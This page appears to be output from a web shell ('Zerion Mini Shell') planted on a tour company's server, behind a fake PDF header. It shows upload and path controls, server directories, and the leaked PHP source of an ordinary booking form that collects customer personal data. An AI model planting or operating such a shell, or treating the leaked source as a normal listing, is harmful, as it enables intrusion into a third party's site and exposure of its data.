%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/buggydubrovnik.com/bookingv2/
Upload File :
Create Path :
Current File : //var/www/html/buggydubrovnik.com/bookingv2/form.php

<?php
include $_SERVER["DOCUMENT_ROOT"]."/bookingv2/functions.php";

$tour=getTour(isset($_GET["id"])?$_GET["id"]:$tour_id);
if(!$tour){
    die("We couldn't find the specified tour.");
}

if($tour["id_izlet_tip"]==3){
    ?>
    <div class="booking-disabled" style="margin: 32px auto; max-width: 400px; width: 90%; padding: 12px 16px; border-radius: 4px; color:white; background: rgb(190, 68, 0); font-weight: 500;">
        We're sorry, but this tour is not available for online booking until further notice. <br>
        We recommend you check out our <a style="color:white!important; font-weight: 700;" href="http://www.buggydubrovnik.com/adventure-tours-dubrovnik/">other experiences.</a>
    </div>
<?php
}
else {
?>
<style>
    input.date-input{
        color:black;
        font-weight: 700;
    }
    #seatsInfo {
        margin: 5px;
    }
    #datum {
        max-width: 250px;
    }
    .drzave{width: 400px;}
    iframe{border: 1px solid #d2d2d2;width:100%; height:200px; overflow:scroll;}
    .section.group {
        width: 90%;
        margin: 0 auto;
        max-width: 500px;
    }
    input, select, option, textarea {
        color:#333333;
        padding: 0.2em;
    }
    .section.group input {
        max-width: 400px;

    }
    textarea {
        width: 400px;
        height: 150px;

    }
    .crveno{
        color:red;
    }
    p.crveno{
        margin:0;
    }
    @media only screen and (max-width: 800px){
        iframe{-webkit-overflow-scrolling:touch}
        .section.group {width: 100%}
        textarea {width: 100%;}
        .drzave{width: 100%;}

    }

</style>
<link href="/buggy-booking/pikaday.css" rel="stylesheet" type="text/css" />

<script src="/buggy-booking/gen_validatorv4.js" type="text/javascript"></script>
<script src="/buggy-booking/moment.js"></script>
<script src="/buggy-booking/pikaday.js"></script>
<script src="/buggy-booking/pikaday.jquery.js"></script>
<script type="text/javascript">
    var month=<?=date("m")?>, day=<?=date("d")?>;
    var selectedMonth, $vrijeme, $checkmark, $promoID, $seatsInfo, $separate;

    Number.prototype.padLeft = function (len,chr) {
        var self = Math.abs(this)+'';
        return (this<0 && '-' || '')+
            (String(Math.pow( 10, (len || 2)-self.length))
                .slice(1).replace(/0/g,chr||'0') + self);
    }
    jQuery(document).ready(function ($) {
        $separate=$("#separate");
        $vrijeme=$("#vrijeme");
        console.log($vrijeme[0]);
        $checkmark=$("#checkmark");
        $seatsInfo=$("#seatsInfo");

        var max=new Date(<?=date("Y")+1?>, 9, 31);

        var currentPromoRequest;
        $("input[name=promo]").on("keyup", function () {
            if(currentPromoRequest!=null) currentPromoRequest.abort();
            else $checkmark.fadeIn();
            $checkmark.attr("src", "/buggy-booking/loading.gif");
            currentPromoRequest=$.ajax("/buggy-booking/checkPromo.php?promo="+$(this).val()).done(function (data) {
                var json=JSON.parse(data);

                if(json.check) {
                    $checkmark.attr("src", "/buggy-booking/checked.png")
                    alert("The code was valid. You'll be getting an additional "+json.amount+"% discount in the next step.")
                }
                else {
                    $checkmark.attr("src", "/buggy-booking/error.png")
                }
            })
        })
        $('#datum').pikaday({ firstDay: 1, format:"DD.MM.YYYY", minDate: new Date(), maxDate:max,
            disableDayFn: function(theDate) {

                <?php if($tour_id==3) { ?>
                if(theDate.getDate()>=22&&theDate.getDate()<=25&&theDate.getFullYear()==2023&&theDate.getMonth()==3) {
                return true;
                }

                <?php } ?>
                return (theDate>new Date(<?=date("Y")?>, 9, 31) || theDate<new Date(<?=date("Y")?>, 2, 1));
            },
            onSelect: function () {
                $vrijeme.fadeOut();
                var datum=$(this)[0].getDate();
                var YMD=datum.getFullYear()+"-"+(datum.getMonth()+1).padLeft(2)+"-"+datum.getDate().padLeft(2);
                $.ajax("/bookingv2/getTimes.php?date="+YMD+"&id=<?=$tour["id_izlet_tip"]?>").done(function (data) {
                    $vrijeme.html(data).fadeIn().trigger("change");
                    $("input[name=date]").val(YMD)
                })
                //  $(this)[0].getDate()

            }
        });
        $vrijeme.on("change", function () {
            var vehicles=parseInt($(this).find("option:selected").attr("data-free"));
            if(vehicles<0) vehicles=0;
            <?php if($tour["privatni"]){
                ?>
            $seatsInfo.html("There are a total of "+(vehicles*<?=PEOPLE_PER_BUGGY?>)+" seats ("+vehicles+" vehicles) available for this date and time.");
            <?php } else { ?>
            $seatsInfo.html("There are a total of "+vehicles+" seats available for this date and time.");
        <?php } ?>

        })


    })




</script>







<div class="section group">


    <div id="naslov1">
        <h1 style="margin-bottom:25px; text-transform:uppercase"><?=$tour["naziv"]?> | Online booking</h1>
    </div>
</div>



<div class="section group" style="margin-bottom:25px; margin-top:5px; background-color:#003; height:2px;"></div>
<form style="font-weight:normal; text-align:left" id="reservationForm" name="rezizlet" method="post" action="/bookingv2/save.php" >   <div class="section group" style="margin-bottom:25px;">
    </div>


    <div class="section group" style="margin-bottom:25px;">
        <div class="col span_1_of_4"> <b>PRICE PER <?=$tour["privatni"]?"BUGGY (up to 3 people)":"PERSON"?></b></div><div class="col span_3_of_4">
            <b><b style="color:#F72A5D; font-size:1.2em;">
                    <?=formatMoney($tour["cijena"],2)?> EUR </b> <br>
                <?=formatMoney($tour["cijena_hrk"])?> HRK
        </div>
        <p class="crveno">*This is not a self driving tour.</p>

    </div>

    <div class="section group" style="margin-bottom:5px; margin-top:15px; background-color:#003; height:2px;"></div>

    <div class="section group" style="margin-bottom:0px;">

        <strong>PERSONAL DATA</strong> </div>

    <div class="section group" style="margin-bottom:10px; margin-top:5px; background-color:#003; height:2px;"></div>

    <div class="section group" style="margin-bottom:5px;">
        <div class="col span_1_of_4">Title: </div>
        <div class="col span_3_of_4">
            <select id="title" name="title">
                <option value="Mr">Mr</option>
                <option value="Ms">Ms</option>
                <option value="Mrs">Mrs</option>
                <option value="Miss">Miss</option>
            </select>
        </div></div>
    <div class="section group" style="margin-bottom:5px;">

        <div class="col span_1_of_4"> First name: </div>
        <div class="col span_3_of_4"> <input name="CustomerFirstname" type="text" /></div></div>
    <div class="section group" style="margin-bottom:5px;"><div class="col span_1_of_4">
            Last name: </div><div class="col span_3_of_4"><input name="CustomerSurname" type="text"  /></div></div>
    <div class="section group" style="margin-bottom:5px;"><div class="col span_1_of_4"> Address: </div><div class="col span_3_of_4"><input name="CustomerAddress" type="text"  /></div></div>
    <div class="section group" style="margin-bottom:5px;"><div class="col span_1_of_4"> City: </div><div class="col span_3_of_4"> <input name="CustomerCity" type="text"  /></div></div>
    <div class="section group" style="margin-bottom:5px;"><div class="col span_1_of_4"> ZIP Code:</div><div class="col span_3_of_4"> <input name="CustomerZIP" type="text"  /></div></div>
    <div class="section group" style="margin-bottom:5px;"><div class="col span_1_of_4">Country: </div><div class="col span_3_of_4"><select class="drzave" name="CustomerCountry" >

                <option selected value="">Please choose your country</option>
                <?php $countries=getCountries();
                while($c=$countries->fetch_assoc()) {
                    ?>
                    <option value="<?=$c["id_drzava"]?>">
                        <?=$c["naziv"]?>
                    </option>
                <?php } ?>



            </select></div></div>
    <div class="section group" style="display: none;margin-bottom:5px;"><div class="col span_1_of_4">Country calling code: </div><div class="col span_3_of_4"><input name="CustomerCode" type="text" style="width:75px;" /></div></div>
    <div class="section group" style="margin-bottom:5px;"><div class="col span_1_of_4">Telephone (with country calling number): </div><div class="col span_3_of_4"><input name="CustomerPhone" type="text" /></div></div>

    <div class="section group" style="margin-bottom:25px;"><div class="col span_1_of_4">
            E-mail: </div><div class="col span_3_of_4"><input name="CustomerEmail" type="text" /></div></div>


    <div class="section group" style="margin-bottom:5px; margin-top:15px; background-color:#003; height:2px;"></div>
    <div class="section group" style="margin-bottom:0px;"> <strong>EXCURSION DATA</strong> </div>

    <div class="section group" style="margin-bottom:25px;"><div class="col span_1_of_4">
            Date and time: </div>
        <div class="col span_3_of_4">
            <input class="date-input" autocomplete="off" type="text" id="datum" />
            <select name="vrijeme" id="vrijeme" style="display: none">

            </select></div>
        <p id="seatsInfo">
            Please choose a date and time to see the number of available places. <br>
        </p>
        <p>   For group bookings of 12 persons or more please <a style="text-decoration: underline" href="https://www.buggydubrovnik.com/contact-us/">contact us directly.</a>
        </p>
    </div>

    <div class="section group" style="margin-bottom:10px; margin-top:5px; background-color:#003; height:2px;"></div>







    <div class="section group" style="margin-bottom:5px;"><div class="col span_1_of_4">Number of guests: </div><div class="col span_3_of_4">
            <input name="odrasli" type="number" value="2" min="0" /></div></div>
    <?php if($tour["privatni"]) {?>
    <div class="section group" style="margin-bottom:5px;"><div class="col span_1_of_4">Pickup location (anywhere in Dubrovnik): </div><div class="col span_3_of_4">
            <input name="pickup_location" type="text" value="" /></div></div>
    <?php } ?>

    <div class="section group" style="margin-bottom:5px; display:none;"><div class="col span_1_of_4"> Children 6-12:</div><div class="col span_3_of_4">
            <input name="djeca" type="number" value="0" min="0" /></div></div>

    <div class="section group" style="display: none; margin-bottom:5px;"><div class="col span_1_of_4">
            Children 0-6:</div><div class="col span_3_of_4">
            <input name="djeca0" type="number" value="0" min="0" /></div></div>
    <div  class="" style=" margin-bottom:5px;"><div class="col span_1_of_4">
            <p></p>

            <div class="section group" style="margin-bottom:5px; display:none">
                <div class="col span_1_of_4">
                    Promo code (additional discount): </div>
                <div class="col span_3_of_4">
                    <input name="promo" type="text" /> <img id="checkmark" src="/buggy-booking/loading.gif" style="width: 1em; vertical-align: middle; margin-left: 5px; display: none" /> </div>
            </div>

            <input name="promo_id" type="hidden" value="0" />


            <div class="section group" style="margin-bottom:25px;"><div class="col span_1_of_4">Comment:</div><div class="col span_3_of_4">
                    <textarea  name="komentar" ></textarea>
                </div></div>
            <input type="hidden" name="date" />

            <input type="hidden" name="id_izlet_tip" value="<?=$tour["id_izlet_tip"]?>" />

            <div class="section group" style="margin-bottom:25px;" ><div class="col span_1_of_4"></div><div class="col span_3_of_4">
                    <br />

                    <iframe id="iframeterms" src="https://buggydubrovnik.com/buggy-booking/terms.html"></iframe><br /><br /><input value="1"  id="checkb" type="checkbox" style="width:1.5em; height:1.5em;" name="terms"   /> I agree to let Buggy d.o.o process my personal data in order to manage my
                    personal account, in accordance with Buggy d.o.o <a style="color:black; font-size:1.1em" href="javascript:void(0);" NAME="Terms and conditions" title="Terms and conditions " onClick=window.open("https://buggydubrovnik.com/buggy-booking/terms.html","Ratting","width=550,height=500,0,status=0,scrollbars=1");><u>Privacy Notice and Terms and Conditions</u> </a><br /><br />
                    This is booking form only! If you want to book and pay online click NEXT.<br />
                    If you want to contact us please do it through our contact form - <a style="color:red; font-size:16px;" href="../contact/">HERE</a>
                </div>
            </div>

            <div class="section group" style="margin-bottom:25px;" ><div class="col span_1_of_4"></div><div class="col span_3_of_4">
                    <input style="cursor:pointer;" type="button" border="0" id="subbtn" class="fusion-button button-3d button-round button-xlarge button-orange button-1"  value="NEXT " /></div>
            </div>
</form>
<script>
    var canSubmitNow=true;
    function checkSeats(){
        console.log($vrijeme[0])
        console.log($vrijeme.val())
        if($vrijeme.val()===null) {
            alert("Please chose a tour date and time.")
            return;
        }


        var factor=$separate.is(":checked")?1:3;
        var free=parseInt($vrijeme.find("option:selected").attr("data-free"));
        var total=parseInt(jQuery("input[name=odrasli]").val())+parseInt(jQuery("input[name=djeca]").val())
        //ovo je sad broj ljudi, a free je broj slobodnih mjesta za grupni. Ako je privatni, moram izracunat broj buggya..
        <?php if($tour["privatni"]){ ?>
        total=Math.ceil(total/<?=PEOPLE_PER_BUGGY?>);
        <?php } ?>
        if(total>free) {
            alert('The number of people you have entered exceeds the number of available seats for this tour. Please try another time or date.')
        }
        else if(canSubmitNow) {
            jQuery("#reservationForm").trigger("submit");
        }
    }
    jQuery(document).ready(function () {
        jQuery("#subbtn").on("click", checkSeats)
    })

</script>
<script  type="text/javascript">
    var frmvalidator = new Validator("rezizlet");



    frmvalidator.addValidation("CustomerFirstname","req","Please enter your First Name");
    frmvalidator.addValidation("CustomerSurname","req","Please enter your Surname");
    frmvalidator.addValidation("CustomerAddress","req","Please enter your Address");
    frmvalidator.addValidation("CustomerAddress","req","Please enter your Address");
    frmvalidator.addValidation("CustomerCity","req","Please enter your City");
    frmvalidator.addValidation("CustomerZIP","req","Please enter your ZIP");
    frmvalidator.addValidation("CustomerCountry","req","Please enter your Country");
    //frmvalidator.addValidation("CustomerCode","numeric","Please enter your country calling code");
    frmvalidator.addValidation("CustomerEmail","req","Please enter your Email");
    frmvalidator.addValidation("CustomerEmail","email");
    frmvalidator.addValidation("odrasli","req","Please enter number of adults");
    frmvalidator.addValidation("odrasli","numeric","The number of guests must be numeric value");
    frmvalidator.addValidation("djeca","numeric","Children must be numeric value");

    frmvalidator.addValidation("datum", "req", "Please choose a date");
    frmvalidator.addValidation("vrijeme", "req", "Please choose a time")
    // frmvalidator.addValidation("lokacija","dontselect=0_--Choose location--","Please select pick-up location");

    frmvalidator.addValidation("terms","shouldselchk=y","Sorry: you have to agree with terms and conditions!");


</script>
<?php }

Zerion Mini Shell 1.0